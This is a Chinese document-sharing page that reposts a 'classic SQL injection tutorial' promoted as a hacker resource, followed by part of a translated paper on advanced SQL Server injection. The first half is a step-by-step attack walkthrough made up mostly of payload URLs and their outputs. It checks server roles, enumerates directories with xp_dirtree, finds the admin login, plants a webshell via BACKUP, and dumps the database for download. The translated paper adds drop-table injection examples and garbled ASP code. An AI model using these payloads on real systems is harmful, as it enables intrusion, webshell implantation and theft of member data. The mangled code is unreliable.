好文档 - 专业文书写作范文服务资料分享网站

SQL注入经典教程(珍藏版)

天下 分享 时间: 加入收藏 我要投稿 点赞

更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?

语句1:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--

语句2:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--

语句3:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--

语句4:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--

语句5:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--

语句6:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--

语句7:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--

语句8:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--

语句9:http://www.xxxxx.com/down/list.asp?id=1 and 1=(SELECT IS_MEMBER('db_owner'));--

通过实际测试,只有DB_OWNER语句正常返回信息,可以确定连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者),跳过爆库爆表步骤,以前黑防讲得很清楚,大家可以翻看臭要饭的《跨库查询你想怎么玩》,现在我们得到管理员的表和管理表资料,进一步得到权限有两种方法:意思爆出所有字段,取管理后台用户密码,难点在于找管理后台路径,是个体力活;另一个是通过BACKUP直接上传WEBSHELL,难点在于寻找WEB目录。 手工猜解管理后台路径的成功几率很低,要用XP_DIRTREE来得到我们想要的信息,下面的方法或许要简单一点!第一次公布出来,或许很多朋友在用,不过绝对非常好!我们把路径写到表里去!

语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--

返回:正常的信息!说明建表成功!继续!

语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:'--

返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。 再依次爆出表中的目录名称!

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--

最后用同样的方法测试得到网页目录放在E:WEB下,得到网页目录后两种选择,一是进一步获取网站管理后台,另一个是通过BACKUP直接获取WEBSHELL。监于BAKCUP获取WEBSHELL的成功率并不是太高,我们先来猜猜它的管理后

更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?

台吧!这里要使用XP_DIRTREE,但是由于XP_DIRTREE是取得一个硬盘分区的目录树,让我们容易混乱,所以就来一层层得到下级目录吧:

语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--

语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:web'--

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-- 经过反覆的爆字段,最后爆到一个xxxadminlogin目录,一看就知道这个目录可能就是我们梦寐以求的管理后台目录!压抑住自己的兴奋!我们继续: 语句:http://http://www.xxxxx.com/down/xxxadminlogin/

显示出登陆入口!GOOD!哈哈,幸运啊!有用户、密码,有登陆URL,还等什么?进去瞧瞧……

XP_DIRTREE存储进程返回的只是目录树,我们无法得到文件树。针对登陆入口在网站根目录下的情况,根本就无从下手,而且相对来说,得到的目录信息要根据人工去猜测判断,所以要通过XP_DIRTREE取得管理后台的登陆入口有着很强判断性,也是非常考个人思维的地方。

再来说说写入ASP木马通过BACKUP得到WEBSHELL或是直接备份当前拥有权限的数据库的办法。写入木马使用臭要饭现成的GETWEBSHELL工具,很容易就得到一个WEBSHELL,为了进一步取得会员资料,直接手工备份整个库到网页目录也是个好的办法! 语句:http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:webdown.bak';-- 去下载吧!亲爱的朋友们!嘿嘿。

本文介绍是一种变异写表方法,没有多少技术含量,只是给大家提供一种构造语句的思路。本文针对网站连接权限不是数据库服务器角色组的成员,能为注入所利用的内置扩展存储进程并不多,扩展的存储进程涉及权限比较高的用户才能访问,所以说一个安全的网站与管理者对权限结构的合理分配是密不可分的,你注意到了吗?

SQL Server应用程序中的高级SQL注入

日期:2004年10月26日 作者:热点网络学院

SQL Server应用程序中的高级SQL注入 作者:Chris Anley[chris@ngssoftware.com]

An NGSSoftware Insight Security Research(NISR) Publication 翻译:青野志狼(panderlang)

来源:狼族在线http://www.panderlang.com/)

第一次翻译,水平有限,难免有错,请不吝指正。转载请保留信息完整。

更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?

摘要:

这份文档是详细讨论SQL注入技术,它适应于比较流行的

IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。 这份文档的预期读者为与数据库通信的WEB程序的开发者和那些扮演审核WEB应用程序的安全专家。

介绍:

SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。

当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

一个典型的SQL语句如下:

Select id,forename,surname from authors

这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:

Select id,forename,surname from authors where forename'john' and surname='smith' 需要着重指明的是字符串'john'和'smith'被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句, 如下:

Forename:jo'hn Surname:smith 查询语句变为:

Select id,forename,surname from authors where forename='jo'hn' and surname='smith' 当数据库试图去执行这个查询时,它将返回如下错误: Server:Msg 170, Level 15, State 1, Line 1 Line 1:Incorrect syntax near 'hn'

造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行'hn',但是失败。如果攻击者提供特别的输入如: Forename:jo';drop table authors— Surname:

结果是authors表被删除,造成这种结果的原因我们稍后再讲。

看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:

Select id,forename,surname from authors where id=1234

在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其

更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?

他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用'#'限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。

我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。 这是一个提交表单页的代码,让用户输入用户名和密码:

Login Page

Login

Username:
Password:

下面是process_login.asp的代码,它是用来控制登陆的:

<%@LANGUAGE = Jscripq %> <%

function trace( str ) {

if( Request.form(\ Response.write( str ); }

function Login( cn ) { var username; var password;

更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?

username = Request.form(\ password = Request.form(\

var rso = Server.CreateObject(\

var sql = \+ password + \rso.open( sql, cn ); if (rso.EOF) { rso.close(); %>



ACCESS DENIED

<% Response.end return; } else {

Session(\ %>

ACCESS GRANTED

Welcome, <% Response.write(rso(\

Response.write( \}

function Main() { //Set up connection var username

var cn = Server.createobject( \ cn.connectiontimeout = 20;

cn.open( \

username = new String( Request.form(\ if( username.length > 0) { Login( cn ); }

cn.close(); }

Main(); %>

出现问题的地方是process_lgin.asp中产生查询语句的部分: Var sql=\password='\如果用户输入的信息如下: Username:';drop table users— Password:

数据库中表users将被删除,拒绝任何用户进入应用程序。'—'符号在Transact-SQL

SQL注入经典教程(珍藏版)

更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?语句1:http://www.xxxxx.com/down/list.asp?id=1and1=(SELECTIS_SRVROLEMEMBER('sysadmin'));--语句2:http://www.xxxxx.com/d
推荐度:
点击下载文档文档为doc格式
  • 正文标题

  • 上下篇章

  • 相关推荐

  • 精选图文

041l73xt833j4le875qt